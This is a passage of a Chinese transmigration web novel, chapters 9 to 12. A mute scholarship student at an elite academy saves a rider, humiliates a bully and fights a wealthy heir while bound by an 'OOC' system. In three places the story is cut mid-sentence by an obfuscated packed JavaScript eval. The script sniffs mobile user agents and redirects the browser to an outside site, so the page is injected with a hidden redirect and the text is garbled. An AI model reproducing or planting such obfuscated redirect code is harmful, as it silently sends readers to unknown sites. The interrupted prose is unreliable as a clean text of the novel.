尤白羽握紧马缰,余光却见身侧一道红光划过,却是倪知比他反应更快,已经策马冲了出去。
他胯丨下的红马看起来瘦弱,跑起来却筋骨俊秀,似是红云,奔跑时,四条腿几乎腾空而起。马背上的倪知弓腰俯身,双腿紧夹马腹,腰腹拧出一道有力瘦削的弧度,随着马背的起伏,整个人都与身下坐骑合二为一。
前方的惊马冲向人群,倪知毫不迟疑,纵马横插过去,挡在前方。
马背上的人失声尖叫:“闪开,要撞上了,啊——”
倪知神情淡漠,丝毫不被任何外界声音影响,直到惊马冲到面前那一瞬间,他拉动缰绳,微微侧开,惊马迫不得已,转头冲向溪流方向。
交错而过的同时,倪知伸手抓向马背上的骑师,秀气苍白的手猛地发力,手背上的淡青色的脉络凸起,指节发力过大,充血呈现动人的玫瑰花色。
被他抓着的骑师脸色煞白,被从马上拽下,悬空拉到了他的马背上。
惊马入溪,绊倒在水中,挣扎数下终于停止动作。
倪知端坐马上,一片惨叫惊呼声中,他是几近凝固的静止,唯有俯身时滚落的头盔和纷飞的发,风中吹得凌乱。
不知什么时候,他将眼镜摘下,整张脸肆无忌惮地张扬在日光之下。
雪白的皮肤,漆黑的发,精致绝伦的五官。
一切都似是艳帜高张的招魂幡,不言不语,便轻而易举收割爱慕芳心。
9. 09
09
这一幕极富视觉冲击力,和平日里倪知的形象完全不同。
刚刚的倪知是柔弱纤细、需要被呵护的,但现在端坐马上的他,却浑身都在闪闪发光。旁边的溪水缓缓流淌,映照蓝天碧草,他也被笼在光晕里,整个人熠熠生辉到令人目眩神迷。
提示音响了起来,ooc值上升。
……救人也ooc?
倪知微微皱眉,低头看向马背上的人。
马背上,温凌仰面躺在那里,从他的角度看去,能看到倪知雪白的下颌和纤长的颈,刚刚的一幕如同走马灯,烙在温凌眼底,温凌觉得口渴,喉结滚动,甚至连话都说不出来。
倪知却神色冷淡,漫不经心地低头,叼着皮筋,单手收束脑后的长发,随手扎上。
对上温凌的目光,他被逗笑了,唇角挑起一点,竖起一根雪白修长的手指,抵在鲜红的唇上,无声地“嘘”了一下。
温凌脑子轰的一声,像是理智丢盔弃甲,倪知却已经收回手去,重新将眼镜戴上——
刚刚情况紧急,他怕骑马的时候影响视线,所以就把眼镜摘了。
看不见倪知的脸,温凌总算恢复了理智:“我叫温凌,谢谢你救了我。那个……能把我放下去吗?”
就是他害得自己ooc值上升,而且一直没有降下来。
原作里有这个人吗?
倪知看书一目十行,对于不重要的角色一眼略过,现在反省了一下,打算回去把书再认真看一遍。
温凌躺在马上,姿势有点尴尬,倪知意味深长地看他一眼,而后伸出手,递向了他。
温凌抓住他的手,只觉得倪知的手好软,肌肤像是白瓷一样冰凉滑腻,顿了一下,才借着倪知的力气直起身来,跳下马去,刚刚站稳,就被扑过来的一群人给围住了。
“阿凌,你没事吧!”
领头的人就是顾霜纯,此刻的他满脸都是紧张和担忧,不知道的,还以为他和温凌关系多好。
温凌看他这样,就觉得他演技真的很棒,随手拂开他的手说:“你没看到吗,倪知把我救下来了。”
“什么?!”顾霜纯尖叫一声,“他会骑马?”
之前上课的时候,顾霜纯只是让人稍微在倪知的马上动了点手脚,倪知就摔了下来,明显不会骑马,怎么现在马术这么好了?
刚刚他们离得远,只看到有人冲过来把温凌救下,不少人还感叹,那个人救人的身影特别俊秀漂亮。
可怎么能想到,居然是倪知!
现在顾霜纯的脸色货真价实地难看了起来:“这么巧,就是他把你救了下来,不会是他在你的马上动了手脚吧?”
一定是这样!
不然温凌的马好端端怎么会突然受惊,又怎么那么巧,倪知就跑出来把人救下,大出风头!
温凌皱眉:“你别胡说。”
旁边尤白羽也生气道:“我和小知一直在一起,我可以替他作证,他绝对没有去逗弄吓唬别人的马。你别因为心虚就在这里乱咬人。”
顾霜纯差点被他气死。
他这么说,不就是暗示自己是在嫁祸倪知?
顾霜纯气道:“我咬他关你什么事!说不定你是替他作伪证!”
尤白羽冷笑一声:“只听说过狗咬人,今天倒是亲眼见到了。”
顾霜纯:……
顾霜纯勃然大怒:“你居然敢说我是狗!”
跟班朋友都在身边,顾霜纯有了倚仗,更是气焰嚣张,指着马上的倪知说:“就听你在这里说了,有本事你让倪知自己解释啊!”
逼着小哑巴开口替自己解释,真是恶毒得没边了。
温凌刚要开口,却见倪知忽然俯下身来,抓着顾霜纯的衣领轻轻一提,就将他拽了起来,而后反手,甩入了溪水中。
这一画面很是震撼。
顾霜纯就算再瘦,也是个一米七多的男孩子,倪知的手腕细得要命,皮肤呈现出一种不健康但却格外幽冷的白,像是阁楼里的公主,需要被人拯救保护。
可却这么轻描淡写,把顾霜纯提起来扔进了水里。
所有人一时都忘了动作,居然没人去救顾霜纯。
水花四溅,顾霜纯从被提起到落入水中根本没有反应过来,直到整个人被水呛入口鼻,才吓得失声大哭:“救命,我不会游泳——”
冰冷的溪水冲刷,他在水里浮沉,呛咳着抬不起头来,视线间,只能看到倪知,仍旧坐在马上,脚踩在黄铜的马镫上,脚踝纤细,小腿修长笔直,胸口原本应当黯淡无光的校徽,也散发着慑人的锋芒。
明明是学校里最下等的特招生……
却那样高高在上,像是所有人,都不配被他放在眼里。
死亡的恐惧与被羞辱的愤怒一道涌了过来,还有说不清道不明的嫉妒,根本不受控制,超脱于理智之外,完完全全出于本能。
——凭什么,倪知凭什么这么好看?!
不是他苦心营造出来的氛围感,不是需要小心翼翼去维系的好看,只是坐在那里,连脸都看不清,穿着最廉价普通的制服,凭什么可以这么耀眼?
顾霜纯的跟班们终于回过神来,七手八脚把他拽出来,他仪态尽失,满脸涕泪,浑身都在往下滴水,头发一缕一缕贴在脸上,看起来狼狈至极。
周围人看着他议论纷纷,还有不少偷偷拿出手机拍他。
顾霜纯回过神来,血一下子冲上脑子,连眼睛都泛着红:“倪知——!”
倪知出手,干脆又解气。
尤白羽偷笑一声:“和倪知有什么关系?你别像疯狗一样乱咬好不好?”
顾霜纯真的要发疯:“他就是个臭婊……啊!!!”
倪知根本不等他说完,一夹马腹,轻云便配合地向前一步,硕大的马蹄重重踏向顾霜纯,周围全是尖叫,顾霜纯的小跟班们吓得四散逃开,顾霜纯惨叫都没有力气,手脚并用爬向一边,脸上的泪水混着地上的泥和草星,比他一向瞧不起的特招生要丑陋滑稽得多。
马蹄精准地在他身侧落下,轻云轻快地向着远方跑去,从头到尾,倪知一点为自己争论辩解的意思都没有。
他只是自上而下,淡淡地看了顾霜纯一眼。
轻飘飘的。
这样的漫不经心,却远比一切的嘲笑谩骂更加让人崩溃。
-
【惊!纯情校花竟在户外野丨战……!有图有真相!】[Hot]
主楼:“不好意思标题党一下,但是真的太震惊了,一向纯情走氛围感大美人路线的校花,居然被人丢在水里,还差点被马踩了,也太狼狈了吧?[照片1.jpg][照片2.jpg][照片3.jpg]”
1L:神特么户外野丨战,我还以为我进错区了。
2L:“在现场,说真的,我第一次看到gsc这么惨,有点怜爱了。”
3L:“怎么回事?谁来说说?”
4L:“楼上居然不知道?gsc针对特招生,被特招生给收拾了。”
5L:“gsc那么清纯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957802|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,怎么可能故意针对特招生,是不是有什么误会?”
6L:“楼上才是真单·蠢。你们清纯校花可不是第一次干这种事了,之前就说这个特招生偷他东西,弄得人家入校不到一个月就自杀了,还好被救下来了。现在想想,细思极恐啊!”
7L:“这么一说是怪怪的……”
8L:“粗思也恐。我也在现场,gsc真的对着那个特招生破口大骂,不知道的还以为有什么深仇大恨,还逼着那个特招生开口解释——那个特招生是个哑巴!老天,对校花的滤镜碎了一地。”
9L:“笑了,你们就在这儿人云亦云吧。gsc怎么说也是明家人,不比一个下郡的特招生要好?”
10L:“呃呃,只有我注意到,那个特招生救了wl吗?这什么灰姑娘勇救白马王子?顺便爆个料,gsc之前针对wl,想和他抢校花,但据可靠消息,wl其实是1!”
“看什么呢?”
一只手从身后伸过来,想要去抓司一手里的手机,司一反手将手机扣下,不耐烦道:“没什么。”
章之桓其实看到司一在看什么了,笑了笑在旁边坐下:“学校论坛那些人,整天闲得无聊,这么点小事也能聊成热帖?”
韩麟嗤笑一声:“你不感兴趣,怎么知道他们聊成热贴了?”
章之桓推了推眼镜,露出一个温润的笑容:“当然因为我也无聊啊。这所学校,是越来越没意思了,今晚要不要一起去兜兜风?”
韩麟说:“我没空。”
章之桓转头问阎定焱:“你呢?”
阎定焱正低着头处理公务,闻言笑了笑:“下次一定。”
司一突然站起身来:“我先走了。”
章之桓故意问:“不吃饭啊?”
司一摆摆手,示意不用管他,反手把门关上。
阎定焱问:“司一在忙什么,怎么一到饭点就不见人?”
章之桓笑道:“谁知道,大概是忙着陪他的灰姑娘一起吃饭。”
阎定焱:“谁?”
“就上次那个倪知。”章之桓说,“倒是我们成了孤家寡人了。哎,你们谁去查查,他到底什么来头?居然让司一这么上头。”
阎定焱说:“要查你自己查。”
一直没说话的席惟随手甩出一支飞镖,正中鲜红靶心,他语气有点淡淡的:“你也感兴趣了?”
外人看来,F4这四个人地位都差不多,皆是当初创校的四大家族继承人,实际上只有能接触到圈子核心的人才知道,他们四个里面,谁才是真正不能招惹的那个。
席惟一开口,章之桓就顿了一下,气氛有点僵,席惟扫了章之桓一眼,也起身走了。
等他走后,章之桓才松了一口气。
旁边阎定焱嘲笑他:“明知道阿惟不喜欢特招生,你还要在他面前提?”
四大家族里面,提议招收特招生的是司家和章家,算是面子工程,树立一个有益于社会热爱公益的形象。阎家对于特招生的态度可有可无,唯独席家,一开始就不赞同,等这一代的席惟进入学校,更是将紫荆花从特招生的校徽上划去。
这样强硬的态度,也导致一部分席惟的拥趸们格外针对特招生。
原作里,原主受到欺负,也不光是因为背负了“小偷”的恶名,这种无理由的针对也是很大一个原因。
章之桓说:“那你呢?”
“我?”阎定焱笑笑,“老鼠不爬到你脚边,你会特意去踩死他们?反倒弄脏了自己的脚。”
10. 10
10
正是下课时间,整个校园熙熙攘攘。
大片的紫荆花木被风吹动,空气里弥漫着那种清甜的气息,堆得极为浓郁,在金色的夕阳下,像是有实体一般轻盈地流淌。
长长的走廊里,倪知坐在尽头的台阶上,膝上架着速写本,漫不经心地勾画着校园风景。
旁边尤白羽托腮看画,羡慕说:“小知,你画得好漂亮。什么时候给我也画一幅?”
倪知比手势:“等老师布置人体写生的时候。”
尤白羽故意夸张地捂住胸口:“那不行,我可要守身如玉,给我未来恋人的。”
倪知被他逗笑了:“为艺术献身也不行?”
“也不一定不行啦。”尤白羽看看时间,“我先去打工了。你要好好吃饭,不许只买个面包将就。”
尤白羽做的是家教,倪知不能说话,所以只有他自己去。
倪知点点头,尤白羽还是不放心,又替倪知削了几支铅笔,这才走了。
小知什么都好,就是不会照顾自己,让人根本放心不下啊!
倪知倒不觉得自己不会照顾自己,他只是单纯物欲不是很高。
没穿书前,家人能为他提供优渥的生活,食不厌精脍不厌细,把他娇养得像是豌豆上的小王子。穿书后需要自己打工赚钱,他也没觉得有多难受,平常和尤白羽一起去吃学校餐厅的“特招生窗口”,尤白羽不在,他就自己买个面包,只要能填饱肚子就足够了。
不过好几天没好好吃饭了,营养确实会跟不上。
要不要补补?
倪知拿出手机,很认真地考虑要买什么种类的维生素片来补充营养。
“啪”一声,一颗樱桃被扔了过来,砸在画纸上。熟透了的果肉饱满,汁水四溅,只差收尾的画上,原本黑白分明,现在却被涂抹上了一片绛紫色的痕迹。
一滴果汁溅在倪知的手背上,那种含糖量过高有些粘稠的触感,让他忍不住皱了一下眉。
一个熟悉的声音,似笑非笑说:“你怎么总和那个尤白羽混在一起?”
倪知扭过头去,看到司一靠在一旁,一头银白色的头发,在落日里,呈现出雪一样精致的质感。
他的手指修长,指节分明,腕上绑着一条银色的手链,见倪知看过来,他走过来,在倪知身后微微俯下身来,看了一眼倪知的画。
“在画什么?”
明知故问。
倪知看着被弄脏了的画,认真思考要不要把速写本直接拍在司一脸上。
只是刚升起这个念头,系统就开始提示他了:“检测到宿主即将有不符合人物设定的行为,ooc值上升1%。”
哈哈,想也不行,想也有罪。
倪知笑了笑,看起来很乖地在纸上写:“亭湖。”
等剧情走完,不用维持人设,司一一巴掌,这个系统更是两巴掌!
“怎么不画我?”
倪知语气淡淡:“水平有限。”
司一嗤了一声,随意地把倪知腿边放着的几支铅笔给踢开,自己在倪知身边坐下:“你运气好,我正好闲着没事,给你个机会画我。”
神经病。
倪知干脆地把刚刚那一页纸撕掉,团成一团,站起身随手丢到了一旁的垃圾桶里。
“我累了,要回去了。”
司一脸色一变:“你什么意思?刚刚和那个尤白羽不是聊得挺开心,怎么我一来就要走?”
他怎么好意思和尤白羽比?
尤白羽帮自己削铅笔,他过来就把自己的画给毁了。
倪知没理他,转身离开。
身后猛地伸过一只手来,将倪知重重地拉了回来,倪知没有防备,撞在司一怀中,几乎半跪半坐在司一腿间。
司一居高临下看着他,手掐在他的腕上,漆黑的眼睛同银白色的头发,反射出一种冰冷又狂热的光芒。
“我说了,画我。”
被拽过来的太猛,倪知的膝盖撞在地上,此刻正隐隐作痛,他皱起眉来,冷冷看着司一扯在他腕上的手。
很烦。
毁了他一幅画,还要强制他做不想做的事。
倪知本来还不错的心情一下子差了起来。
但这个时候,他还记着自己“老实人”的人设,打算忍忍就算了,脑子里却突然多了一段话。
【倪知低着头,像是一道灰沉的影子,尽量不被人注意地走着。只是不知道哪里伸出来的手,忽然重重地推了他一下,恶意的笑声响了起来,他跌跌撞撞地差点摔倒,慌乱间,却被人扶住。
扶他的手修长有力,倪知松了口气,转过头去刚要道谢,却突然愣住。
司一逆着光站在那里,银色的头发和英俊的面孔被光笼成一片模糊的剪影,看着他的表情,没有什么喜怒,是完全的漫不经心。
有人按住他,声音尖锐:“你找死啊?敢踩司一哥,还不跪下道歉!”
还有人问:“弄脏了司一哥的鞋,你赔得起吗?”
那些恶意的笑声又响了起来,倪知浑浑噩噩地跪在地上,听到了这辈子听过最好听的声音,那样随意地说:“既然赔不起,那就替我舔干净。”】
……这是什么?
倪知之前看过原作,文中事关原主的部分,大多是概括描写,并没有具体地写原主是怎么被霸凌欺负的。
而现在出现在脑海里的,却描写得具体生动。
生动到,让人身临其境地替原主感到痛苦和耻辱。
所以,如果他没有穿越过来的话,未来的某一天,原主会被逼着当众下跪,替司一舔鞋?
倪知低着头,摸索着拾起一支铅笔,司一以为他是要为自己画画了,唇角翘起一点,手也放松下来:“这样不就对了……靠!”
话音未落,就见倪知反手,力度极为凶狠地握着铅笔戳了过来。
司一骂了一声,下意识伸手去挡,削得尖尖的铅笔笔尖划过手背,留下一道红色的暗痕。
铅笔只是佯攻,司一去挡的同一时刻,倪知已经丢下铅笔,握掌为拳,重重打在司一侧脸。
他动作太快,出手狠厉,司一被打得脸偏向一边,却几乎顾不上反应,第一时间不觉得疼,只是发懵。
他被倪知揍了?!
但他们这样的家庭,除了配备保镖,也会找专人调丨教,身手是从小练出来的。司一懵归懵,却条件反射揽住倪知的腰肢,将他反身压下。
大理石的地面光可鉴人,冰冷至极,倪知被按在上面,胸膛剧烈地起伏。
脑海中系统的提示声几乎
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957803|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
破音,红光闪烁及至破碎,ooc值抵达60%,只要再升1%,等待倪知的,就是系统严苛的惩罚。
以他现在的身体素质,别说惩罚,就连刚刚激烈的动作,都有些负荷不了。
心脏跳得很快,撞在胸膛,灌入耳膜,倪知知道,自己现在要做的,应该是认输装无辜,让ooc值赶快降下去,而不是继续和司一硬碰硬。
但倪知就是不要。
原主是真的老实,乖巧到几乎愚蠢,逆来顺受地承担着一切的恶意。
他得到什么好下场了吗?
没有。
人善被人欺。
系统、顾霜纯、F4、整个崇德学院……统统都是一丘之貉。
既然做个好人得不到自己想要的,那倪知选择,做真实的自己。
而他现在最真实的想法就是——
给司一一拳。
他做到了,就算有惩罚,那又如何?
司一白皙的侧脸被打得发烫,不用看也知道肯定肿起来了,刚要说话,就觉得嘴角一阵发疼。
他伸出舌尖舔了舔,尝到一阵血腥味,忍不住又骂了一声:“我操,你发什么疯?”
自己就是让他画幅画而已,这个小哑巴怎么突然就动手了?
而且下手还这么狠。
说不生气是假的,司一抬起手,也想给倪知一拳。
可倪知躺在地上,桀骜地仰着头,下颌尖尖,伶仃似是玉质的月亮,令人动作间,衣领扯开了,修长的脖颈颜色雪白,明明喘息时没有声音发出,可单薄的身形上下起伏,刚刚揍司一时用力太大,指节处擦破了皮,那一层血色,却如同极嫩的雪粉,看起来莫名香艳绯靡。
渐渐落下去的光里,他如同一尾光洁美丽的人鱼,自深深的海底潜行而上,在大片大片的影子里,摇曳生姿。
不远处的湖边,不少学生嬉戏漫步,还有乐队正在弹奏乐曲。
一切都一如寻常,一切却又在脱离正轨。
司一慢慢地向着倪知的方向低去,被蛊惑一样,小心翼翼地拂开他的刘海。
他的额头饱满,眉骨与鼻梁的夹角弧度柔美,眼镜歪了一点,露出的眼睛,狭长上挑,黑而明亮,让人忍不住屏住呼吸,想要看得更近、更多。
笑声、歌声、风声,而他们在不为人知的一角,肢体缠绕,呼吸着彼此最近的气息。
夕阳的余晖慢慢拉长,在身后坠出羽翼似的影子,两旁的灌木丛苍翠欲滴,上面开着一朵朵细碎的小花,白色的花瓣,嫩黄的蕊,日光下如同透明,照不见日光的地方,又散发出一种潮湿辛辣的香气。
似是不可告人,却又禁忌刺激。
司一的手指插在倪知的发间,那样长,那样软,缠绵着如丝如缕,仿佛有吸力一样,亲吻着他的指腹。
心跳加速,动作却更慢,司一几乎屏住呼吸,握住倪知的镜腿,想要将他的眼镜摘下……
司一的手猛地顿住。
滚落在地的铅笔不知道什么时候又被倪知捡了起来,笔尖对准司一的喉管。
哪怕呼吸仍旧急促,倪知的手却很稳,雪白的指像是什么艺术品,却有足够的余力,能够保护自己。
美貌不是他唯一的武器。
他从来最擅长以弱胜强。
11. 11
11
倪知唇角勾着,凝视着司一,隔着厚厚的镜片,明明应该看不清他的眼睛,可司一莫名就能感觉到,那双漆黑的眼底,是对他的嘲弄。
喉结滚动一下,很难形容是紧张还是什么。
司一只觉得热,掌心里出了汗,想要将倪知压得更重。
但那锋利的铅笔让他保持了理智,只能问倪知:“还打吗?”
倪知扬了扬下颌,虽然没说话,司一却读懂了他的意思,慢慢地从他身上起身,半跪在一旁,向着他伸出手来,想要拉他起来。
倪知却没碰他的手,自己从地上站起来,看也没看司一一眼,弯腰捡起自己的速写本,径直离开。
他的脑后,还是扎着和司一一样的小髻,剩下的长发似是流水丝绸,覆盖过漂亮的肩胛。
天已经彻底黑下去,路灯亮起,无数飞虫围着星星似的灯泡旋转飞舞。
喉中还有被利器抵住的感觉,尖锐冰冷,疼也是轻微的,肾上腺素却飙升,连带着血液,狂涌过心脏。
司一看着倪知,觉得自己也成了一只飞虫,而他是那片光,吸引着自己,却又无法真正接近。
这种感觉很微妙。
一种明明已经握在手心,却又无法彻底掌控的错位感。
小弟提着硕大的保温食盒等在外面,看到司一走了出来。
离得远小弟还没看清,等司一走近了却吓了一跳。
进去前还制服笔挺的司一,现在滚了一身的灰,衣衫打褶,看起来像是经过了一场战斗,甚至连嘴角都是红肿破皮的。
再配合上司一那种有点疼,又有点回味的表情。
难道司一哥刚刚和那个特招生……?!
不会吧!
光天化日的,好大胆,不愧是司一哥!
那个特招生也不一般,居然把司一哥的嘴都咬破了,玩得这么激烈!
小弟眼神有些微妙,迎过来殷勤道:“司一哥,您打算去哪吃饭?那个小特招生呢?”
司一掸了掸袖口的灰尘,语气还是很轻松:“差点忘了。”
他刚刚是去找倪知一起吃饭,可是看到倪知和那个尤白羽在一起,言笑晏晏的,就把这事给忘了。
小弟手里还捧了一盒樱桃,刚从冷柜里取出来时冒着白色的雾气,现在温度升高,白雾渐渐散去,鲜红的樱桃上凝着水珠,看起来娇艳欲滴,香气扑鼻。
小弟说:“哥,这个再不吃就坏了。”
现在不是樱桃的季节,这些都是从司家下属的农场里特供的,这么一小盒,不知道费了多少功夫。司一不大爱吃,这次却特意发话带来。
那个小哑巴一看就没吃过什么好的,瘦成那样,拿来给他甜甜嘴。
坏了也可惜。
从来没有可惜过东西的司一,终于给自己找了个理由,拿出手机给倪知发消息。
【世一】:“刚刚是我不对,不该凶你。回来一起吃饭。”
字打的很流畅,一点都没有赔礼道歉的不爽。
毕竟那个小哑巴也被自己摔了一下,自己被打了一拳,就算两个人扯平了。
司一大少爷宽宏大量,完全没发现自己对于倪知容忍度有多高。
只是消息发送之后,屏幕闪了一下。
对话框前多了了一个红色的感叹号,外加一句系统提示——
消息已发出,但被对方拒收了。
……这是什么意思?
他被倪知拉黑了?
刚刚被打,司一没生气,现在看着自己被拉黑的提示,眼神却一点一点沉了下去。
旁边的小弟本来还在笑,看到司一的表情,立刻闭上了嘴。
手机发出冷色的光,照亮司一的鼻尖和眼睛,他英俊的脸上面无表情,嘴角放得很平,看起来和平常没有一点区别,但只要看到他的眼睛就能知道,他现在的心情差到了极点。
不知过了多久,手机自动息屏,光亮熄灭,司一的眼沉入一片漆黑的夜里,他收起手机,看起来像是冷静下来。
小弟刚要松口气,司一却突然挥手,重重将那盒包装得极其精美昂贵的樱桃,打翻在地。
鲜红的樱桃滚落满地,司一看了一眼小弟手里提着的食盒,脸色更冷:“还提着干什么?给我拿去喂狗!”
-
倪知随手拉黑了司一,买了面包回寝室。
今天画得速写不能用了,只能重画,他画得很快,思绪却完全没放在这里。
系统为什么会突然提供给他原作里更多的细节?
是因为……他和司一有肢体接触吗。
但也不对。
初见那晚的酒吧门口,司一就拉过他的手腕。
脑海里的警告声还在响,听得久了,吵得有点麻木。
倪知捏了捏眉心,问系统:“能不能闭嘴?”
系统不语,继续扯着嗓子大叫。
倪知:……
倪知语气平淡,但很认真:“你知道老实人逼急了能做出什么事来吗?我观察了,崇德学院的化学实验室里什么都有,你猜,我能不能把学校给炸了,什么顾霜纯,什么F4,大家一起上去吧。”
系统:……
红光闪了闪,系统乖乖闭嘴。
世界安静下来,倪知总算可以认真思考。
Ooc值一直没降下来,维持在60%,看来自己今天给司一的震撼太大,到现在司一都没消化掉。
这个数值太危险了,一点操作空间都没有,只要他再多ooc一下,就要被惩罚了。
倪知没有兴趣自讨苦吃,但也不想委屈自己,去找司一求饶。
那就只能从别的方面来巩固人设了。
原作里,故事开篇是在崇德学院的周年庆上,话剧社为校庆编了一出话剧,主要演员却迟到了,顾霜纯被拉去临时凑数,却演得格外的好,惊艳了所有人,同时也惊艳了台下的F4。
命运的齿轮开始转动,小说也正式开始。
离校庆还有大半个月,这段时间,在小说里是不存在的,也就是一段“真空”时间。
不受剧情约束,只要不ooc得太过分,想做什么都可以。
至于刚刚读到的,司一当众逼着原主下跪舔干净他的鞋尖这种情节,明显发生在小说中后期,F4的四个人陆陆续续都爱上了顾霜纯,惩罚倪知为他出气,也是很小的一件事……
“咔”一声,是倪知用力过大,笔尖按断在了纸上。
没有读过原主被霸凌的具体内容,他还能心平气和地在F4面前装一装,现在读过之后,倪知觉得自己不直接动手打人已经算是很能忍了。
很不爽。
这种任人宰割的感觉。
盯着自己过分纤细苍白的手指看了一会儿,倪知平静下来。
还不是撕破脸的时候,现在的他,只是一个特招生,不光在崇德学院,在整个越港十三郡,都是最低的那一阶层。
就算他现在退学,也只能改变被崇德的公子哥们霸凌欺负的现状,可只要真正步入过社会的人都会明白,很多时候,学校里的针对只是小打小闹,离开了这片象牙塔,上位者对于下位者的摆布,反倒更加的轻而易举。
而且进入崇德学院的时候,他们这些特招生都是签了合同的。
全优成绩毕业,不收取任何学费。
中途退学或者成绩不够优秀的特招生,将会背上巨额欠款。
离开的退路一开始就被堵死了,倪知也不是那种遇到困难就立刻逃避的性格。
笔尖划过画纸,午后的亭湖跃然纸上,紫荆轻摆,绿柳成荫,湖心波光灿然,看起来极为安详静谧。
倪知画下最后一笔,微微地笑了一下。
既然知道未来会发生什么,如果不利用一下,实在可惜了。
不过现在倪知要做的还有另外一件事。
那就是好好学习。
全优成绩毕业,听起来简单,但崇德学院并不是单纯依靠考试分数来评ABCD,而是综合排位,除了学习成绩之外,校外实践、竞赛积分、文艺汇演等集体活动,甚至做慈善都可以加分,总分算下来,年级前百分之十的人可以拿到A类评定。
今年大一学生大概有两千人,百分之十就是前两百名,倪知来之前,原主的综合排名大概在一百九到一百八之间浮动,算是A等生里的吊车尾。
这是一个很危险的名次,保险起见,倪知必须保证,自己期末
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957804|161005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的所有考试成绩都能拿到A,然后确保自己的综合排名在年级前一百。
当然,这是最低要求。
如果想保证毕业之后能有更好的发展空间,倪知就需要把成绩继续提高。
崇德学院对于特招生们或许是地狱,但另一方面,却也是个机会。这所世界范围内都影响颇大的贵族学院,作为他们这些下郡人的跳板,再合适不过。
第二天没有课,倪知在图书馆泡了一上午,临近中午时他打算回去,抬头看到对面桌边坐了个人,正托腮歪着头看他。
倪知没认出他是谁,他却笑了,小声喊倪知:“是我啊,温凌,就是你上次骑马救下的那个人。”
他长了一张娃娃脸,有颗小虎牙,很宽的双眼皮,鼻夹角转折弧度有些像是混血,身上有种少年人肆无忌惮的天真烂漫。
记得。
就是那个救了他还让自己ooc的人。
倪知现在不能ooc一点,装作腼腆地轻轻点了点头。温凌跟在他后面,出了图书馆后才说:“你还挺难找的,我逛了一圈,才在图书馆找到你。”
倪知打字问:“你是特意来找我的?”
“是啊。我想要感谢你。”
温凌看起来很孩子气,但身量却不低,当时评选校花,他之所以输给顾霜纯,就是因为他比学校里一大堆男生都还要高,满足不了那些人的保护欲。
倪知:“举手之劳而已。”
“对你是举手之劳,对我可不是。”温凌笑眯眯的,弯腰在倪知面前双手合十,“给我个机会好不好?”
他这样很可爱,眼睛闪闪的发亮,像是很乖的小狗,满心满眼都是主人。
可惜倪知却不吃这一套:“你和顾霜纯是朋友,所以我不想和你走得太近。”
这是很直接的拒绝,可温凌的眼睛却越发亮了:“谁说我和他是朋友了,我快烦死他了!本来我只想请你吃饭,现在我更想和你一起骂他。”
倪知打字:“我是哑巴。”
温凌笑了起来,自来熟地挽住他的手臂:“那你听我骂他就好。”
倪知:……
也行。
温凌是个很适合当朋友的人,他话多,但并不惹人烦,还很会照顾人,第一次吃饭就观察到倪知的口味,把倪知不爱吃的烤鸭转走,把清蒸鲥鱼转了过来,要不是倪知拒绝,他还打算替倪知剥虾。
一个大少爷,这么喜欢照顾人?
倪知对于这种没来由的热情,有着天生的警觉,淡淡地拒绝了:“我有洁癖。”
温凌没有被冒犯的不快,只是放下手:“那我就不替你剥啦。”
倪知看他一眼。
自己是故意这样说的,可温凌居然真的没有生气。
更可疑了。
吃完饭,倪知礼貌地告辞,温凌却还是跟在他后面。
正是午后时间,日光和暖,照得人昏昏欲睡,整个校园陷入一种难得的静谧。树下,倪知停住脚步,花影横斜里,两人的身影被挡去大半。
“马上就到我的寝室楼下了,有什么事,你可以在这里说。”
温凌眼睛微微睁大,看着倪知,半晌,嗤地一声笑了:“你果然比顾霜纯聪明多了。”
倪知:“只是有最基本的思考能力而已。”
温凌笑得更开怀:“这样说,顾霜纯连最基本的思考能力都没有。”
倪知不再打字,静静看着温凌。
温凌收笑:“好吧好吧,我是有事。不过我之前一直在犹豫,要不要告诉你。”
倪知问:“你思考出结果了吗?”
“你要知道,有些时候,对着蠢人做好事,付出的代价反而更大,所以我要考察,你到底够不够聪明。”温凌看着倪知,眼底欣赏的意味很浓,“现在我觉得,就算告诉你,你也不会一时冲动连累到我。”
温凌说着,声音放得更低:“你要小心,有个大人物在校内暗网给你的名字标了红。”
倪知问:“标红是什么意思?”
“玩过游戏吗?知道敌人的标志是什么吗?”温凌凝视他,似是想要看到他惊慌失措无助的样子,“你的名字被标了红,现在……
“你是全校的敌人了。”
12. 12
12
倪知确实愣了一下。
他的第一反应是:“好老套的玩法。”
第二句话是:“标不标红,有什么区别?”
把他标成红名,让所有人都来欺负他。
那和之前的待遇有什么区别?
倪知愣了一下是因为,原作里也有这个剧情,但被标红的不是他,而是万人迷主角受顾霜纯。
